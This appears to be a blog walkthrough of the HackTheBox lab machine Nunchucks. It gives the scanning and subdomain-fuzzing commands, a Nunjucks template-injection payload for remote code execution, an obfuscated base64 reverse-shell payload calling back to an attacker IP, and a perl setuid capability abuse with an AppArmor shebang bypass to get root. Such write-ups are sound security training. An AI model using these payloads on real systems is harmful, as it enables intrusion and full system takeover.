Blog Nunchucks - HackTheBox
Post
Cancel

Nunchucks - HackTheBox

This HackTheBox can be found here.

Recon

Like always, we’ll start with a Nmap scan:

1
sudo nmap -T4 -p- -oN allports -sC -sV 10.10.11.122
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Nmap scan report for 10.10.11.122
Host is up (0.024s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 6c146dbb7459c3782e48f511d85b4721 (RSA)
|   256 a2f42c427465a37c26dd497223827271 (ECDSA)
|_  256 e18d44e7216d7c132fea3b8358aa02b3 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| tls-nextprotoneg:
|_  http/1.1
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after:  2031-08-28T15:42:24
|_http-server-header: nginx/1.18.0 (Ubuntu)
| tls-alpn:
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Port 80, 443, and 22 are open. Before we look at the web apps, lets add nunchucks.htb to our /etc/hosts file:

1
echo '10.10.11.122 nunchucks.htb' | sudo tee -a /etc/hosts


Let’s browse to the web app:

web application


There is a signup page, but we are unable to create an account:

signup


Looking at burp, we see there is an api to handle the signup and login functionality:

API


Initial Access

I tried to find other API endpoints with GoBuster, but was unsuccessful. If testing on your own, make sure to instruct GoBuster to perform POST requests because the server will return a 404 for valid pages if requested with GET.

When looking at the page, it states that stores are coming soon:

link page


Since we had no luck with directory fuzzing, let’s check for subdomains:

1
ffuf -u https://10.10.11.122 -H "Host: FUZZ.nunchucks.htb" -w /usr/share/wordlists/dirb/common.txt -mc 200 -ac

ffuf finding subdomain


We found a subdomain named store.nunchucks.htb. Let’s add it to our /etc/hosts:

1
echo '10.10.11.122 store.nunchucks.htb' | sudo tee -a /etc/hosts

going to the subdomain


We see a single page that lets us subscribe to the service. If we submit the form, our input gets reflected back to us:

entering an email


If we enter {{7*7}}, the server returns 49 indicating that it is a vulnerable Server Side Template Injection:

ssti


We now need to determine what template engine is being used. I tried a RCE payload for Jinja2 (as this is a common engine), but it failed. I then followed the testing steps on hacktricks and found that the template engine is NUNJUCKS. We can use the below payload to gain RCE:

1
{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('whoami')\")()}}

RCE


Using the below payload, we can gain a reverse shell as david:

1
2
3
{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzEyMzQgMD4mMQ== | base64 -d | bash')\")()}}

RCE


We can now grab the user.txt flag located at /home/david/user.txt.

Privilege Escalation

Within the /opt directory, there is a file named backup.pl:

OPT dir

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid);
POSIX::setuid(0);

my $tmpdir        = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";

sub printlog
{
    print "[", strftime("%D %T", localtime), "] $_[0]\n";
}

sub archive
{
    printlog "Archiving...";
    system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
    printlog "Backup complete in $tmpbdir/backup_$now.tar";
}

if ($> != 0) {
    die "You must run this script as root.\n";
}

printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";


The file above uses POSIX::setuid(0) which allows it to run as root. Linpeas also tells us perl has the cap_setuid capability:

Getcap


GTFOBins tells us that we use this capability to escalate. We can test by running the following command:

1
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

perl getcap


Running whoami works, but if we try to execute /bin/bash like the GTFOBins example, nothing happens. I spent some time and found that this was due to the AppArmor policy. We can bypass it using the AppArmor shebang bypass:

1
2
3
4
5
6
7
echo '#!/usr/bin/perl
use POSIX qw(strftime);
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/sh"' > test.pl
chmod +x test.pl
./test.pl


After running the above, we gain a root shell and can grab root.txt:

root flag

Contents